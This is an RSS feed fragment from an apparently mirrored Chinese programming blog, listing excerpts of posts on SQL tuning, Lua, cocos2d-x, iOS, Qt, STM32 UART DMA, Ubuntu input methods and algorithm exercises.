      <description>SQL Server多表查询的优化方案是本文我们主要要介绍的内容，本文我们给出了优化方案和具体的优化实例，接下来就让我们一起来了解一下这部分内容。&#xA;1.执行路径&#xA;ORACLE的这个功能大大地提高了SQL的执行性能并节省了内存的使用:我们发现,单表数据的统计比多表统计的速度完全是两个概念.单表统计可能只要0.02秒,但是2张表联合统计就&#xA;可能要几十秒了.这是因为ORACLE只对简单的表提供高速缓冲(cache buffering) ,这个功能并不适用于多表连接查询..数据库管理员必须在init.ora中为这个区域设置合适的参数,当这个内存区域越大,就可以保留更多的语句,当然 被共享的可能性也就越大了.&#xA;2.选择最有效率的表名顺序(记录少的放在后面)&#xA;ORACLE的解析器按照从右到左的顺序处理FROM子句中的表名,因此FROM子句中写在最后的表(基础表 driving table)将被最先处理. 在FROM子句中包含多个表的情况下,你必须选择记录条数最少的表作为基础表.当ORACLE处理多个表时, 会运用排序及合并的方式连接它们.首先,扫描第一个表(FROM子句中最后的那个表)并对记录进行派序,然后扫描第二个表(FROM子句中最后第二个 表),最后将所有从第二个表中检索出的记录与第一个表中合适记录进行合并.&#xA;例如:&#xA;表 TAB1 16,384 条记录&#xA;表 TAB2 1条记录&#xA;选择TAB2作为基础表 (最好的方法)&#xA;select count(*) from tab1,tab2 执行时间0.96秒&#xA;选择TAB2作为基础表 (不佳的方法)&#xA;select count(*) from tab2,tab1 执行时间26.09秒&#xA;如果有3个以上的表连接查询, 那就需要选择交叉表(intersection table)作为基础表, 交叉表是指那个被其他表所引用的表.&#xA;例如: EMP表描述了LOCATION表和CATEGORY表的交集.&#xA;SELECT * FROM LOCATION L , CATEGORY C, EMP E WHERE E.EMP_NO BETWEEN 1000 AND 2000 AND E.CAT_NO = C.CAT_NO AND E.LOCN = L.LOCN 将比下列SQL更有效率&#xA;SELECT * FROM EMP E , LOCATION L , CATEGORY C WHERE E.</description>
    </item>
    <item>
      <title>Uncaught DOMException: Failed to read the &#39;localStorage&#39; property from &#39;Window&#39; 解决办法</title>
      <link>https://bchobby.github.io/posts/8db68a52767348acf748f0ab3aa1c688/</link>
      <pubDate>Thu, 04 Jul 2019 11:40:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8db68a52767348acf748f0ab3aa1c688/</guid>
      <description>打开设置 -- 高级 -- 内容管理 -- cookie 然后将 “阻止第三方Cookie” 的选项关闭</description>
    </item>
    <item>
      <title>《Programming in Lua 3》读书笔记(十六)</title>
      <link>https://bchobby.github.io/posts/c2e7e12708960f516c5fb57c6825db6e/</link>
      <pubDate>Thu, 04 Jul 2019 11:11:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2e7e12708960f516c5fb57c6825db6e/</guid>
      <description>日期：2014.7.23&#xA;PartⅢ The Standard Libraries 20 The Table Library table库包含一些辅助函数用以类似与数组一样操作table。提供了从list内插入和删除元素的操作，对数组的元素进行排序的操作，将table中所有的string连接起来的操作。 20.1 Insert and Remove Insert table的insert操作有三个参数:要被插入数据的table；插入的位置；插入的值。如果插入的位置不是最后一个，那么lua会将该位置至最后一个位置的元素的位置后移一位，如：当前table的t = {10，20，30}，此时执行table.insert(t,1,25)，即在t的第一个位置插入数据25，得到的结果为 t = {25,10,20,30},位置1及之后的数据位置后移，然后将新的元素插入至1号位置。假如没有提供要插入的位置这个参数，那么默认插入的位置是table的最后的位置，此时不需要移动其他的元素。 Remove table的remove操作将会移除table中给定位置的一个元素，在这位置之后的元素位置前移，如果没有提供需要移除的位置这个参数，则默认移除最后一个元素。 使用这两个运算函数便可以直观的实现栈、队列、双端队列。使用table初始化一个数据结构，t = {},在尾部添加元素：table.insert(t,x);删除尾部的元素:table.remove(t);由于table库是以c语言来实现这两个函数的，所以在效率上是有保障的。 20.2 Sort table.sort函数。该函数的参数有两个，一个为需要排序的table，另一个是提供排序规则的函数。排序函数需要有两个参数，并且当第一个参数达到了排序规则的要求(假如递增排序的情况，第一个参数大于了第二个参数)，那么此时就需要返回true。 遍历数组的时候推荐使用ipairs而不是pairs，因为前者以1、2、3的顺序遍历，而后者是以任意的顺序来遍历的。 当我们需要对table的目录进行排序的时候，需要将这些目录首先存储至一个数组，然后再对数组进行排序。因为table中的目录没有顺序可言。 e.g. lines = { luaH_set = 10, luaH_get = 23, luaH_present = 48, } table.sort( lines ) for n in pairs(lines) do print(n) end 此时打印出来的是：luaH_set、luaH_present、luaH_get，并没有按照顺序来排列 e.g. a = {} for n in pairs(lines) do a[#a + 1] = n end table.</description>
    </item>
    <item>
      <title>cocos2d-x帧动画实现（写下备忘）</title>
      <link>https://bchobby.github.io/posts/c90227e1af3728acb2f53a3121350087/</link>
      <pubDate>Thu, 04 Jul 2019 11:10:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c90227e1af3728acb2f53a3121350087/</guid>
      <description>帧动画就是很多张png的序列图实现轮流播放产生动画效果。&#xA;那么首先我们要一套动画的序列图，没有图的可以看引擎例子里面的图。很多张图我们可以采用TP工具将它们压缩到一张png里面去，这样程序只需要读取一次就行了，提高效率。&#xA;动画是打地鼠地鼠出洞的表现，代码如下：&#xA;//新的游戏动画： //创建cache CCSpriteFrameCache* cache=CCSpriteFrameCache::sharedSpriteFrameCache(); char strPlist[64]={0}; char strPng[64]={0}; sprintf(strPlist,&#34;Game/Game_Resource.plist&#34;); sprintf(strPng,&#34;Game/Game_Resource.png&#34;); cache-&amp;gt;addSpriteFramesWithFile(strPlist,strPng); //创建动画每一帧，从cache中读取 CCArray* animFrams=new CCArray(8); char str[64]={0}; for (int i=0;i&amp;lt;3;i++) { sprintf(str,&#34;mole_a%d.png&#34;,i); CCLog(str); CCSpriteFrame* frame=cache-&amp;gt;spriteFrameByName(str); animFrams-&amp;gt;addObject(frame); } CCAnimation* animation=CCAnimation::createWithSpriteFrames(animFrams,0.5f); animation-&amp;gt;setDelayPerUnit(0.2f); CCAnimate* animate=CCAnimate::create(animation); shrew-&amp;gt;runAction(CCRepeatForever::create(animate)); 代码参考了这位作者 的文章，并针对2.0版引擎做了一点修改主要是文章中用的数组CCMutableArray改为了CCArray等。把代码写下来备忘。同时感谢原作者。&#xA;转载于:https://www.cnblogs.com/zhong-dev/p/4044617.html</description>
    </item>
    <item>
      <title>树莓派源文件遇到的问题（2019.7.4）</title>
      <link>https://bchobby.github.io/posts/167aac45a692c62e0032a2413986747f/</link>
      <pubDate>Thu, 04 Jul 2019 10:45:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/167aac45a692c62e0032a2413986747f/</guid>
      <description>参考https://blog.csdn.net/iteye_21199/article/details/82230824的解决方法，并未解决&#xA;遇到新的问题：&#xA;W: The repository &#39;http://mirrors.tuna.tsinghua.edu.cn/raspbian/raspbian wheezy Release&#39; does not have a Release file. N: Data from such a repository can&#39;t be authenticated and is therefore potentially dangerous to use. N: See apt-secure(8) manpage for repository creation and user configuration details. W: The repository &#39;http://mirrors.tuna.tsinghua.edu.cn/raspbian/raspbian wheezy-updates Release&#39; does not have a Release file. N: Data from such a repository can&#39;t be authenticated and is therefore potentially dangerous to use. N: See apt-secure(8) manpage for repository creation and user configuration details.</description>
    </item>
    <item>
      <title>java去除空格的几种方式</title>
      <link>https://bchobby.github.io/posts/5729803361c27eb7d5f5b5f302bce652/</link>
      <pubDate>Thu, 04 Jul 2019 08:59:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5729803361c27eb7d5f5b5f302bce652/</guid>
      <description>在java中，我们常用的就是replace、replaceAll这两个替换的方式，通过直接输入“ ”或者“\s”来代表空格，默认是清除所有一样的空格，还有的表示方式是“ +”，除此之外，还可以使用substring来进行处理，因为其中两个参数，可以快速定位到我们需要截取的位置，截取的内容中没有空格，就可以使用这个方式。&#xA;但今天在去除数组中字符串的空格时，以上方式除了substring，都使用无效，然而substring有个问题，它是根据第一个条件出现的位置来判断的，那么当首字符出现变更，不就失效了？所以在此，强力去除字符串数组中，元素里出现的空格，就可以使用stringUtils.deleteWhitespace（str），这个方法很霸道很好用，直接清除所有空格不带解释的，强推。</description>
    </item>
    <item>
      <title>[super dealloc]内存释放的先后顺序</title>
      <link>https://bchobby.github.io/posts/36566af3c6285cba3d1f7f93a4c30fee/</link>
      <pubDate>Wed, 03 Jul 2019 07:20:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36566af3c6285cba3d1f7f93a4c30fee/</guid>
      <description>心得：从前做内存释放，只是觉得应该，没体会到这个的重要性，如果不及时释放就会有很多内存泄露，就像我早期遇到的前赴后继的崩溃，比如：没使用完，就释放会崩溃等明显的release问题。&#xA;作为全局的变量释放 ，要按栈的顺序释放。否则又不知何时会崩溃。&#xA;虽然现在有自动控制释放机制了，但是本人也觉得有必要知道这些方法，毕竟代码更新、兼容什么的仍然还要考虑到内存问题的。 Objective－c 语言中最头疼的事就是内存释放， 申明一个变量后记得一定要释放这个变量， 我们定义的全局变量都是在 - (void)dealloc 函数中释放的； 里面继承了一个 [super dealloc] 方法， 有些同学平时自己释放内存都是写在 [super dealloc]的后面 ， 但是在Objective－c 中不能这样写, 所有的释放都必须写在 [super dealloc]的前面 。 -------错误的写法-------- - (void)dealloc&#xA;{&#xA;[super dealloc];&#xA;[XXX release];&#xA;......&#xA;}&#xA;-------正确的写法--------&#xA;- (void)dealloc&#xA;{&#xA;[XXX release];&#xA;[super dealloc];&#xA;......&#xA;}&#xA;原 因是：“你所创建的每个类都是从父类，根类继承来的，有很多实例变量也会继承过来，这部分变量有时候会在你的程序内使用，它们不会自动释放内存，你需要调 用父类的 dealloc方法来释放，然而在此之前你需要先把自己所写类中的变量内存先释放掉，否则就会造成你本类中的内存积压，造成泄漏”.不过在IOS6有了ARC后就不用手动去释放了,也没有此函数了!&#xA;转载于:https://www.cnblogs.com/someonelikeyou/p/3389272.html</description>
    </item>
    <item>
      <title>iOS   UIFont  的学习与使用</title>
      <link>https://bchobby.github.io/posts/f64a7b0415654c4e7ef519ce364d8dfe/</link>
      <pubDate>Wed, 03 Jul 2019 07:14:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f64a7b0415654c4e7ef519ce364d8dfe/</guid>
      <description>通常,我们使用字体 都是系统默认的字体. 有时候 从阅读体验,美观度 设计师都会考虑用一些 更高大尚的字体. 系统字体库 给英文 各种style的发挥空间很大,但是 中文则不然. 但是苹果 给使用中文的字体的开发者提供了 动态下载字体库的福利,这个真是好,并且下载到/private/var/mobile/Library/Assets/com_apple_MobileAsset_Font/ 这样不会增加app本身的大小. 不失为一种好的选择.&#xA;前提: 你首先 要知道 你要使用的字体的官方名字, 用这个名字 当索引下载.&#xA;官方竟然有文档和demo 真是方便的不要不要的:&#xA;https://developer.apple.com/library/ios/samplecode/DownloadFont/Listings/DownloadFont_ViewController_m.html&#xA;操作基本步骤&#xA;1. 首先判断 是否有这种字体 无则用默认的&#xA;(如果 要使用一些 iOS8,iOS9才有的字体 一定要考虑低版本用户的情况,会闪退,在 font 类别里面也要做预判断,没有这个字体 就用默认的呗)&#xA;+ (UIFont *)normalHfFontWithSize: (CGFloat)fontSize { return [UIFont isFontDownloaded:@&#34;FZLTXHK--GBK1-0&#34;] ? [UIFont fontWithName:@&#34;FZLTXHK--GBK1-0&#34; size:fontSize] : [UIFont systemFontWithSize:fontSize]; } + (BOOL)isFontDownloaded:(NSString *)fontName { UIFont* aFont = [UIFont fontWithName:fontName size:12.0]; if (aFont &amp;amp;&amp;amp; ([aFont.fontName compare:fontName] == NSOrderedSame || [aFont.</description>
    </item>
    <item>
      <title>Continuous Subarray Sum II</title>
      <link>https://bchobby.github.io/posts/d37489e9611c89825310921b4eeb4383/</link>
      <pubDate>Wed, 03 Jul 2019 04:35:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d37489e9611c89825310921b4eeb4383/</guid>
      <description>Given an circular integer array (the next element of the last element is the first element), find a continuous subarray in it, where the sum of numbers is the biggest. Your code should return the index of the first number and the index of the last number.&#xA;If duplicate answers exist, return any of them.&#xA;Example Give [3, 1, -100, -3, 4], return [4,1].&#xA;很有意思的题目,是Continuous Subarray Sum的follow up.主要区别在这里是将普通数组变化为了circular integer array.</description>
    </item>
    <item>
      <title>Merge k Sorted Arrays</title>
      <link>https://bchobby.github.io/posts/713a210895149b033cc13cf1bba51999/</link>
      <pubDate>Wed, 03 Jul 2019 04:34:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/713a210895149b033cc13cf1bba51999/</guid>
      <description>Given k sorted integer arrays, merge them into one sorted array.&#xA;Given 3 sorted arrays:&#xA;[ [1, 3, 5, 7], [2, 4, 6], [0, 8, 9, 10, 11] ] return [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11].&#xA;这题和merge k sorted lists 一脉相承，但是处理起来要复杂些，即linked list可以非常容易的从当前结点通过.next找到它的下一个结点。但是arrays本身不可以，所以需要知道当前处理的是第几个数组，是这个数组中的什么位置。所以每次push进heap时同时要push进该元素来自第几个数组。但是这还不够，不知道具体在这个数组中是第几个位置。这里可以采取非常类似于Super Ugly Number的做法，维护一个times数组，表示当前处理到该数组的哪里了。代码如下：&#xA;class Solution: # @param {int[][]} arrays k sorted integer arrays # @return {int[]} a sorted array def mergekSortedArrays(self, arrays): import heapq if not arrays: return [] heap = [] indexs = [0] *len(arrays) for i in xrange(len(arrays)): if arrays[i]: heap.</description>
    </item>
    <item>
      <title>《oracle大型数据库系统在AIX/unix上的实战详解》讨论28：两台机器间Oracle迁移的方法和过程...</title>
      <link>https://bchobby.github.io/posts/205df192a2400792f54d07f7b5f1bcc2/</link>
      <pubDate>Wed, 03 Jul 2019 01:52:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/205df192a2400792f54d07f7b5f1bcc2/</guid>
      <description>《oracle大型数据库系统在AIX/unix上的实战详解》讨论28：两台机器间Oracle迁移的方法和过程 文平&#xA;大家新年好！&#xA;新年期间没有更新日志，也没有查收大家发来的邮件。今天回到工作岗位，一看，邮件若干未恢复，头大了…&#xA;抱歉，没有来得及恢复，千万别耽误大家的事情啊…&#xA;每天回复几封，争取周末完成！&#xA;总结问题一：关于数据库迁移&#xA;“我想请教一下，如何做数据库迁移，从一台AIX主机和存储，迁移到另一台AIX主机和存储。都需要做那些工作，谢谢。”&#xA;“两台新AIX主机双机，ORACLE软件是否应安装到AIX的主机硬盘，数据库在存储上，ORALCE软件不做RAC” 。&#xA;答复如下：&#xA;1：迁移&#xA;方法一：可以冷迁移：&#xA;RMAN备份，在另一台恢复。这要求二台机器的版本一致。&#xA;可以热迁移：&#xA;方法二：导出（exp/expdp、imp/ompdp）实现。二台机器的版本可与不一致。&#xA;各有优缺点&#xA;2：两台新AIX主机双机，ORACLE软件是否应安装到AIX的主机硬盘，数据库在存储上？&#xA;最好这样，使系统能保证最高的可恢复性！&#xA;祝：顺利&#xA;文平&#xA;转载于:https://www.cnblogs.com/dbserver/articles/1676765.html</description>
    </item>
    <item>
      <title>请教：在asp.net(C#)里如何给 datetime,int ,decimal等类型赋null值</title>
      <link>https://bchobby.github.io/posts/c9b1d7939acebe50ec6c5e3fd9a82891/</link>
      <pubDate>Wed, 03 Jul 2019 00:57:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9b1d7939acebe50ec6c5e3fd9a82891/</guid>
      <description>如题 转载于:https://www.cnblogs.com/xtsong/archive/2008/06/21/1227248.html</description>
    </item>
    <item>
      <title>想请问下PDF双面打印时(打印机自动双面打印）为什么反面那页的内容是倒过来的，应该怎么设置？...</title>
      <link>https://bchobby.github.io/posts/90198232b5c327b22740a6ca11d22958/</link>
      <pubDate>Wed, 03 Jul 2019 00:56:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90198232b5c327b22740a6ca11d22958/</guid>
      <description>用foxit reader 打印pdf 直接设置为双面打印并且一张2页打印，发现正反面刚好倒着来的，其实说的正反面倒着是从左右翻的角度来讲的，如果上下翻会发现刚好是这个顺序的，这个是要在双面打印设置里头去设置那个长边和短边的方向。在foxit reader 这里面 选择打印在弹出来的打印属性框中那个不是有个选择打印机的框，其后面有个属性按钮，点击这个属性按钮进去在这里可以设置双面打印， 设置完双面打印之后其下方刚好有个双面打印设置按钮， 单击这个双面打印设置进去就可以进行长边和短边的方向设置了。&#xA;转载于:https://www.cnblogs.com/AI-Algorithms/p/3840750.html</description>
    </item>
    <item>
      <title>matlab figure 窗口最大化</title>
      <link>https://bchobby.github.io/posts/ed27ffc80c5e578c6fb97b8a716bb790/</link>
      <pubDate>Wed, 03 Jul 2019 00:56:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed27ffc80c5e578c6fb97b8a716bb790/</guid>
      <description>http://blog.163.com/yinhexiwen@126/blog/static/6404826620122942057214/&#xA;% figure 窗口最大化，坐标轴也随着窗口变大而相应变大 scrsz = get(0,&#39;ScreenSize&#39;); set(gcf,&#39;Position&#39;,scrsz);&#xA;或者&#xA;set(gcf,&#39;outerposition&#39;,get(0,&#39;screensize&#39;));&#xA;get(0,&#39;ScreenSize&#39;); 是为了获得屏幕大小，Screensize是一个4元素向量[left, bottom, width, height],然后用获得的screensize向量设置fig的position属性； get(0) 获取root object（根对象），根对象的所有属性和属性值见：http://www.baisi.net/viewthread.php?tid=6020&#xA;例： To create a figure window that is one quarter the size of your screen and is positioned in the upper left corner, use the root object&#39;s ScreenSize property to determine the size. ScreenSize is a four-element vector: [left, bottom, width, height]: scrsz = get(0,&#39;ScreenSize&#39;); figure(&#39;Position&#39;,[1 scrsz(4)/2 scrsz(3)/2 scrsz(4)/2])&#xA;其实就是用来获得显示器的尺寸，然后确定新建窗口的位置和大小。&#xA;代替subplot：</description>
    </item>
    <item>
      <title>Linux操作系统中对于NTFS读取目录功能的实现</title>
      <link>https://bchobby.github.io/posts/9e5cec24245d7e1dbb9303bec60d1c46/</link>
      <pubDate>Wed, 03 Jul 2019 00:29:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e5cec24245d7e1dbb9303bec60d1c46/</guid>
      <description>1: /* 2: * We use the same basic approach as the old NTFS driver, i.e. we parse the 3: * index root entries and then the index allocation entries that are marked 4: * as in use in the index bitmap. 5: * 6: * While this will return the names in random order this doesn&#39;t matter for 7: * -&amp;gt;readdir but OTOH results in a faster -&amp;gt;readdir. 8: * 9: * VFS calls -&amp;gt;readdir without BKL but with i_mutex held.</description>
    </item>
    <item>
      <title>asp.net 2.0中傻瓜式使用soap header</title>
      <link>https://bchobby.github.io/posts/748dc223ed9599f9f84067a406241839/</link>
      <pubDate>Tue, 02 Jul 2019 23:27:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/748dc223ed9599f9f84067a406241839/</guid>
      <description>在websevrice 中,soap header是十分重要的哦，主要是安全性的考虑，在asp.net 2.0中,可以简单地应用soap header来&#xA;进行傻瓜式的应用，更复杂的应用当然要更深入地去看了,&#xA;首先，我们写个简单的helloworld的webservice&#xA;using System;&#xA;using System.Web;&#xA;using System.Web.Services;&#xA;using System.Web.Services.Protocols;&#xA;[WebService(Namespace = &#34;http://tempuri.org/&#34;)]&#xA;[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]&#xA;public class Service : System.Web.Services.WebService&#xA;{&#xA;public ValidationSoapHeader Authentication;&#xA;private const string DEV_TOKEN = &#34;12345&#34;;&#xA;public Service()&#xA;{&#xA;//Uncomment the following line if using designed components //InitializeComponent(); }&#xA;[SoapHeader(&#34;Authentication&#34;)]&#xA;[WebMethod]&#xA;public string HelloWorld()&#xA;{&#xA;if (Authentication != null &amp;amp;&amp;amp; Authentication.DevToken == DEV_TOKEN)&#xA;{&#xA;return &#34;Hello World&#34;;&#xA;}&#xA;else</description>
    </item>
    <item>
      <title>数据库连接字符串大全</title>
      <link>https://bchobby.github.io/posts/1c5f3c2ebae41c8ec01a8cc587320e2b/</link>
      <pubDate>Tue, 02 Jul 2019 23:26:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c5f3c2ebae41c8ec01a8cc587320e2b/</guid>
      <description>很感谢creativepeter(头皮屑)提供的本连接地址（ http://www.connectionstrings.com/） SQL Server ODBC Standard Security:&#xA;&#34;Driver={SQL Server};Server=Aron1;Database=pubs;Uid=sa;Pwd=asdasd;&#34; Trusted connection:&#xA;&#34;Driver={SQL Server};Server=Aron1;Database=pubs;Trusted_Connection=yes;&#34; Prompt for username and password:&#xA;oConn.Properties(&#34;Prompt&#34;) = adPromptAlways oConn.Open &#34;Driver={SQL Server};Server=Aron1;DataBase=pubs;&#34; OLE DB, OleDbConnection (.NET) Standard Security:&#xA;&#34;Provider=sqloledb;Data Source=Aron1;Initial Catalog=pubs;User Id=sa;Password=asdasd;&#34; Trusted Connection:&#xA;&#34;Provider=sqloledb;Data Source=Aron1;Initial Catalog=pubs;Integrated Security=SSPI;&#34; (use serverName\instanceName as Data Source to use an specifik SQLServer instance, only SQLServer2000) Prompt for username and password:&#xA;oConn.Provider = &#34;sqloledb&#34; oConn.Properties(&#34;Prompt&#34;) = adPromptAlways oConn.Open &#34;Data Source=Aron1;Initial Catalog=pubs;&#34; Connect via an IP address:</description>
    </item>
    <item>
      <title>Ubuntu 12.04 中文输入法</title>
      <link>https://bchobby.github.io/posts/f2d21f0e0432886c83938bdfcf0dd84f/</link>
      <pubDate>Tue, 02 Jul 2019 22:45:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2d21f0e0432886c83938bdfcf0dd84f/</guid>
      <description>Ubuntu上的输入法主要有小小输入平台（支持拼音/二笔/五笔等），Fcitx，Ibus，Scim等。其中Scim和Ibus是输入法框架。 在Ubuntu的中文系统中自带了中文输入法，通过Ctrl+Space可切换中英文输入法。这里我们主要说下Ubuntu英文系统中，中文输入法的安装。 安装输入法的第一步，是安装语言包。我们选择System Settings--&amp;gt;Language Support--&amp;gt;Install/Remove Languages，将弹出以下窗口： 输入密码后，系统会安装简体中文语言包。 第二步，安装IBus框架，在终端输入以下命令： sudo apt-get install ibus ibus-clutter ibus-gtk ibus-gtk3 ibus-qt4 启动IBus框架，在终端输入： im-switch -s ibus 安装完IBus框架后注销系统，保证更改立即生效。 第三步：安装拼音引擎 有下面几种常用选择： IBus拼音：sudo apt-get install ibus-pinyin IBUS五笔：sudo apt-get install ibus-table-wubi 谷歌拼音输入法：sudo apt-get install ibus-googlepinyin Sun拼音输入法：sudo apt-get install ibus-sunpinyin 第四步：设置IBus框架 ibus-setup 此时，IBus Preference设置被打开。我们在Input Method选项卡中，选择自己喜欢的输入方式，并配置自己喜欢的快捷键即可。如下图所示： 第五步：通常情况下，IBus图标（一个小键盘）会出现在桌面右上角的任务栏中。有时候这个图标会自行消失，可使用以下命令，找回消失的IBus图标： ibus-daemon -drx 转载于:https://www.cnblogs.com/kungfupanda/archive/2012/09/16/2687454.html</description>
    </item>
    <item>
      <title>洗牌算法</title>
      <link>https://bchobby.github.io/posts/640a8695820044ccbef489c813e7bf9d/</link>
      <pubDate>Tue, 02 Jul 2019 21:02:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/640a8695820044ccbef489c813e7bf9d/</guid>
      <description>所谓的洗牌算法，大概意思就是将一组数随机打乱，说到随机，很容易就想到C里面的rand函数,en...说到这个函数，看看该函数如何使用&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;time.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; int main(int argc, char *argv[]) { srand(time(NULL)); for(int i=1;i &amp;lt;= 10;++i) { printf(&#34;%d\r\n&#34;,rand()); } return 0; } 这里我打印了10个数，可以快速的运行几组程序，其实可以发现每组程序出来的结果会很接近或者相似，为啥呢，可以跟进去看看源码&#xA;// Seeds the random number generator with the provided integer. extern &#34;C&#34; void __cdecl srand(unsigned int const seed) { __acrt_getptd()-&amp;gt;_rand_state = seed; } // Returns a pseudorandom number in the range [0,32767]. extern &#34;C&#34; int __cdecl rand() { __acrt_ptd* const ptd = __acrt_getptd(); ptd-&amp;gt;_rand_state = ptd-&amp;gt;_rand_state * 214013 + 2531011; return (ptd-&amp;gt;_rand_state &amp;gt;&amp;gt; 16) &amp;amp; RAND_MAX; } 可以看出，其算法之简陋，其代码中的_rand_state也就是种子,所以当srand传人一个固定值的话，每次随机出来的值也会一样。我们使用时间当种子，当快速运行几组程序后，其结果当然也会近似。所以在一些重要的工作场合中，要慎用rand函数随机，毕竟可能可以预测哦。</description>
    </item>
    <item>
      <title>20050530:周末上不了了？</title>
      <link>https://bchobby.github.io/posts/0c5c122c05ab6afd9a94d9c61d92d727/</link>
      <pubDate>Tue, 02 Jul 2019 18:40:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c5c122c05ab6afd9a94d9c61d92d727/</guid>
      <description>这两天打不开，不晓得怎么了。&#xA;论文初稿果然是一堆问题。编号级别，图片大小，字体等等等等。 转载于:https://www.cnblogs.com/yidinghe/archive/2005/05/30/164952.html</description>
    </item>
    <item>
      <title>关于QString转string的堆异常</title>
      <link>https://bchobby.github.io/posts/1b34f3fcfc9c8f358ced3a5fcbe625fb/</link>
      <pubDate>Tue, 02 Jul 2019 15:53:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b34f3fcfc9c8f358ced3a5fcbe625fb/</guid>
      <description>关于QString转string的堆异常&#xA;IDE是基于QT4.7（其他平台暂时没有测试）。在进行字符串转换时调用toStdString()进行转换出现了堆异常，代码如下：&#xA;QString Q_str(&#34;hello&#34;); string S_str; S_str = Q_str.toStdString(); 程序运行到这里就会崩溃，提示说可能是堆被损坏。于是在网上寻找其出现错误的原因，然后结合自己的理解分享出来，如果有不对的地方还请解惑。&#xA;通过查找资料发现toStdString()在进行QString转换到string时会构建临时对象来存储数据，也就是说toStdString()返回的时临时地址，临时地址只在本行有效，程序往下运行之后就被释放了。那么程序提示堆错误的原因也就在这里：可以发现在执行赋值语句之前，S_str对象已经被创建了，它已经被系统分配空间，然后执行下面的赋值语句。string类型的变量在进行赋值时会delete之前的空间，重新new一个空间。这样就很好理解了：&#xA;S_str = Q_str.toStdString();会执行三个步骤：首先进行delete，然后进行new，最后把数据放到new的内存里。而toStdString()只是临时对象，在S_str搬运数据的时候，该地址已经被系统回收了，因此S_str访问的是非法内存地址，就会出现堆错误信息了。&#xA;基于以上原因，只需要对程序做稍微的修改即可，在创建S_str的构造函数里进行赋值：&#xA;QString Q_str(&#34;hello&#34;); string S_str = Q_str.toStdString(); 这样虽然toStdString()是临时地址，但是在S_str构造函数里会创建局部变量来复制该地址里的数据，相当于toStdString()的生命周期延续到S_str构造函数结束的时候，这样就可以避免上述的bug了。</description>
    </item>
    <item>
      <title>STM32CubeMX   USART串口DMA，IDLE 空闲中断不定长接收详解</title>
      <link>https://bchobby.github.io/posts/dd2f5b956893b096d7a3fdf27ae533c8/</link>
      <pubDate>Tue, 02 Jul 2019 14:11:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd2f5b956893b096d7a3fdf27ae533c8/</guid>
      <description>使用的STM32CubeMX版本为：&#xA;首先是串口配置:&#xA;补充DMA配置，之前漏了，这里用最新版本的CUBEMX的截图补充一下：&#xA;中断配置&#xA;DMA的模式选择NORMAL就行&#xA;这里默认就好~&#xA;大功告成之后生成工程代码~&#xA;__HAL_UART_ENABLE_IT(&amp;amp;huart1, UART_IT_IDLE);&#xA;HAL_UART_Receive_DMA(&amp;amp;huart1,RxDMABuf_1,RXBUF_1_SIZE);&#xA;需要自行添加在void MX_USART1_UART_Init(void)内。其中RxDMABuf_1与RXBUF_1_SIZE是自定义的接收缓冲数组与数组大小。&#xA;void MX_USART1_UART_Init(void) { huart1.Instance = USART1; huart1.Init.BaudRate = 115200; huart1.Init.WordLength = UART_WORDLENGTH_8B; huart1.Init.StopBits = UART_STOPBITS_1; huart1.Init.Parity = UART_PARITY_NONE; huart1.Init.Mode = UART_MODE_TX_RX; huart1.Init.HwFlowCtl = UART_HWCONTROL_NONE; huart1.Init.OverSampling = UART_OVERSAMPLING_16; huart1.Init.OneBitSampling = UART_ONE_BIT_SAMPLE_DISABLE; huart1.AdvancedInit.AdvFeatureInit = UART_ADVFEATURE_NO_INIT; if (HAL_UART_Init(&amp;amp;huart1) != HAL_OK) { _Error_Handler(__FILE__, __LINE__); } __HAL_UART_ENABLE_IT(&amp;amp;huart1, UART_IT_IDLE);//使能idle中断 HAL_UART_Receive_DMA(&amp;amp;huart1,RxDMABuf_1,RXBUF_1_SIZE);//打开DMA接收，数据存入rx_buffer数组中。&#x9;} void HAL_UART_MspInit(UART_HandleTypeDef* uartHandle) { GPIO_InitTypeDef GPIO_InitStruct; if(uartHandle-&amp;gt;Instance==USART1) { /* USER CODE BEGIN USART1_MspInit 0 */ /* USER CODE END USART1_MspInit 0 */ /* USART1 clock enable */ __HAL_RCC_USART1_CLK_ENABLE(); /**USART1 GPIO Configuration PA9 ------&amp;gt; USART1_TX PA10 ------&amp;gt; USART1_RX */ GPIO_InitStruct.</description>
    </item>
    <item>
      <title>mysql 条件查询时 AND  OR 优先级</title>
      <link>https://bchobby.github.io/posts/cda14dba2aed2ef915cf5ebda0c49fa5/</link>
      <pubDate>Mon, 01 Jul 2019 10:06:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cda14dba2aed2ef915cf5ebda0c49fa5/</guid>
